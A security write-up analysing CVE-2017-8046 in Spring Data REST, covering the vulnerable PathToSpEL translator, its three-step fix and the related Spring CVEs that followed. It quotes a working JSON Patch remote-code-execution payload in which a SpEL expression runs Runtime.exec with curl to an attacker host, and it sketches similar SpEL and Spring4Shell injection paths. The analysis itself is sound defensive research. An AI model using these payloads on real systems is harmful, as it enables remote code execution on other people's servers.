A class named PathToSpEL.java is not a bug. It is a contract. The class header states it and every method states it again: this class translates a JSON Patch path into a SpEL expression, and that expression is what Spring will evaluate. JSON Patch paths are RFC 6901 JSON Pointers, a constrained string accessor for a node in a JSON document. SpEL is a Turing-complete expression language with type references, method invocation, and reflection. CVE-2017-8046 is what happens when the second receives the first's input through a class whose name advertises the conversion. The translator was honest about its job.
CVE-2017-8046: PathToSpEL Did What Its Name Said
pattern
cve
proof of concept
The "sanitization" was splitting on /.
The pre-patch entry point in PathToSpEL.java reads, in full:
public static Expression pathToExpression(String path) {
return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path));
}pathToSpEL does the work the class name promises. It splits the input on /, walks each token, and emits SpEL property access. Numeric tokens become [index]. The append characters - and ~ become $[true]. Everything else is appended to a StringBuilder separated by .. The result is parsed by SpelExpressionParser.parseExpression and stored on the PatchOperation:
private static String pathToSpEL(String path) {
return pathNodesToSpEL(path.split("\\/"));
}
private static String pathNodesToSpEL(String[] pathNodes) {
StringBuilder spelBuilder = new StringBuilder();
for (int i = 0; i < pathNodes.length; i++) {
String pathNode = pathNodes[i];
if (pathNode.length() == 0) continue;
if (APPEND_CHARACTERS.contains(pathNode)) {
if (spelBuilder.length() > 0) spelBuilder.append(".");
spelBuilder.append("$[true]");
continue;
}
try {
int index = Integer.parseInt(pathNode);
spelBuilder.append('[').append(index).append(']');
} catch (NumberFormatException e) {
if (spelBuilder.length() > 0) spelBuilder.append('.');
spelBuilder.append(pathNode);
}
}
String spel = spelBuilder.toString();
if (spel.length() == 0) spel = "#this";
return spel;
}The function intends to translate /lastname/firstname into lastname.firstname and /items/1/name into items[1].name. It does. It also has one architectural property: if the input contains no /, path.split("\\/") returns a single-element array, the for loop processes that one element, the element is not numeric and not an append character, and the entire input is appended to the builder verbatim. Whatever the attacker sent is what gets parsed by SpEL.
The nuclei template payload is:
[
{
"op": "replace",
"path": "T(java.lang.Runtime).getRuntime().exec(\"curl https://attacker/c\").x",
"value": "CVE-2017-8046"
}
]There are zero slashes in the path's value. The split returns one element. The element is the entire SpEL expression. pathToSpEL returns it unchanged. parseExpression builds the AST. ReplaceOperation.setValueOnTarget calls spelExpression.setValue(target, value). SpEL walks the chain looking for an assignable leaf, evaluates T(java.lang.Runtime).getRuntime().exec(...) along the way, spawns the process, then tries to assign value to a .x property on the resulting Process object and throws. The exec ran. The throw is the response body. The nuclei template's matcher waits on the DNS callback from curl.
The "sanitization" in pathToSpEL was splitting on /. The attacker's payload contained no slashes.
JSON Pointer is a thirty-line tokenizer. Spring used SpEL because Spring had SpEL.
JSON Patch (RFC 6902) defines an operation's path field as "a string containing a JSON Pointer value (Section 4 of [RFC6901])." RFC 6901 is short. Its grammar is the production json-pointer = *( "/" reference-token ), where reference-token is any UTF-8 character except / and ~, with ~0 escaping ~ and ~1 escaping /. The whole grammar fits on a screen. A correct JSON Pointer evaluator over a JSON document is approximately thirty lines of code. It does not invoke methods. It does not load classes. It does not contain production rules for type references or function calls, because JSON Pointer does not have type references or function calls.
Spring did not write a JSON Pointer evaluator. Spring wrote a translator from JSON Pointer to SpEL and handed the result to the SpEL evaluator. The translator existed because Spring already had a SpEL property-walker for bean property paths and reusing it was cheaper than writing a JSON Pointer evaluator from scratch. The choice is legible from the package layout: PathToSpEL sits in org.springframework.data.rest.webmvc.json.patch and imports SpelExpressionParser from org.springframework.expression.spel.standard. Spring Data REST is an HTTP layer. SpEL is the evaluation layer the rest of Spring already uses for bean wiring, security expressions, and templating. The cheapest thing to add to the HTTP layer was a translator into the language the rest of the framework speaks.
The translator is the bug surface. The bug is that the translator's input grammar (JSON Pointer) is a strict subset of its output grammar (SpEL), and the translator's only mechanism for ensuring the output stayed inside the input subset was tokenizing on /. Inputs that were valid SpEL but not valid JSON Pointer passed through unchanged. The class is the most precisely-named primitive in the Spring CVE corpus: it is named after exactly the operation that produces the vulnerability.
The first patch verified properties. The third deleted the class.
The Spring fix arrived in three commits across two months, one engineer, three Jira tickets.
DATAREST-1127 landed Friday September 8, 2017, with this commit message:
Previously the SpEL expressions created from JSON Patch path expressions were executed without double checking whether these paths actually exist on the target object in the first place. This is now in place.
Forty-two insertions in PatchOperation.java. The diff introduces verifyPath(Class<?> type), which splits the path on /, drops digit-only and dash-only segments, joins the rest with ., and calls PropertyPath.from(pathSource, type). PropertyPath is a Spring Data type that resolves property accessors against a Java class. Any segment that is not a real property on the target type causes PropertyReferenceException, and verifyPath rethrows as PatchException. The check is added to evaluateValueFromTarget. It is not added to setValueOnTarget or getValueFromTarget. The bug fires through both.
DATAREST-1137 landed seventeen days later, Monday September 25:
All patch operations now verify path expressions.
We now make sure that all patch operations now get the path they're supposed to be applied to verified before execution.
Ninety-six insertions across nine files. The September 8 check is now wired into AddOperation, CopyOperation, MoveOperation, RemoveOperation, ReplaceOperation, TestOperation, and the parent PatchOperation. The fix shape is identical to the first one. The first one was incomplete because the bug fires through every operation, not just the one the first patch covered.
DATAREST-1152 landed October 25, two months after the first commit:
Overhaul of patch expression handling.
Significantly refactored the way that patch path expressions are handled and evaluated. The new design is centered around SpelPath that is aware of the original path as well as the derived SpEL expression. That SpelPath then requires clients to bind it to a type so that the original path can be validated (and rejected if invalid) and provide API to read, set, copy and move values backed by the original path.
703 insertions, 534 deletions across 23 files. PathToSpEL.java is among the deletions. The file is removed, 119 lines, gone. Its replacement, SpelPath, holds the original path string and the derived SpEL expression as separate fields, validates the path against the target type at bind time, and evaluates the expression through SimpleEvaluationContext.forReadWriteDataBinding(), a context whose factory explicitly disables type references and method invocation. The same engineer who shipped PathToSpEL.pathToExpression is the one who deleted it.
The October 25 commit is the actual fix. The September 8 and September 25 commits are the partial fixes the engineer reached for first because adding a property-existence check is a smaller change than rewriting the expression layer. The two-month interval is the time it took to conclude that the substrate was the class itself, not a missing check at the call sites.
Spring fed this design debt for five years.
The pattern of evaluating attacker-influenced strings as expressions over Spring's reflection-capable engines did not begin with PathToSpEL. It does not end with it.
CVE-2018-1273 lands seven months later, in Spring Data Commons. The MapDataBinder evaluates bean property paths through SpEL when binding form data into nested maps. Attacker-controlled property names like [T(java.lang.Runtime).getRuntime().exec(...)] evaluate during the bind. The fix tightens which evaluation contexts the binder uses. The SpEL evaluation on attacker-influenced property strings remains the substrate.
CVE-2022-22963, four years later, lands in Spring Cloud Function. The spring.cloud.function.routing-expression HTTP header is parsed as a SpEL expression by the RoutingFunction resolver. Setting that header to a T(...) chain evaluates against the function context. Same primitive, different inbound channel.
CVE-2022-22965, Spring4Shell, lands a month after that. The WebDataBinder allows attacker-controlled property paths to reach class.module.classLoader.resources.context.parent.pipeline.first.pattern through nested property access. Not literally SpEL parsing this time, but the same architectural class: the framework walks caller-supplied strings as accessor expressions through Java reflection without restricting which targets are reachable.
Each was patched in isolation. CVE-2017-8046 got SpelPath plus a restricted evaluation context. CVE-2018-1273 got an evaluation-context tightening on MapDataBinder. CVE-2022-22963 got a property removal and a documentation note. CVE-2022-22965 got a disallowedFields configuration. The substrate, Spring's habit of treating framework-trusted, attacker-influenced strings as expressions over an engine that exposes reflection, was not changed in any of them.
This is Design Debt Driver. The closest published exhibit in shape is Apache Camel's HeaderFilterStrategy lineage: one engineer adding the same one-line fix across five identical subclasses thirteen months after fixing it in the first one, because the parent-class default he never changed kept producing the same bug class. Spring patched PathToSpEL in 2017 and shipped CVE-2018-1273, CVE-2022-22963, and CVE-2022-22965 from the same architectural shape across the next five years. Each patch closed its instance. The substrate the next CVE depends on was unchanged.
What the CVE description does not say.
NVD files CVE-2017-8046 under CWE-20, Improper Input Validation. The Spring advisory says "specially crafted JSON data" can "run arbitrary Java code." Both are correct. Neither names SpEL. Neither names the path field. Neither names that the attacker's input passed through a class whose explicit job was to convert it into the language that executed it.
A defender reading the description and grepping their fleet for "JSON patch" finds the affected versions. A defender reading the description and grepping their codebase for the substrate finds nothing actionable, because the substrate is "the framework treats caller-influenced strings as expressions over an engine with reflection," and that string does not appear in CVE descriptions. The four CVEs Spring shipped over the next five years from the same substrate are filed under different CWE numbers, different products, and different reporters. The CVE list is correct on each line. It is not the index of the class.
The class was named PathToSpEL. The bug was that PathToSpEL did exactly what its name said.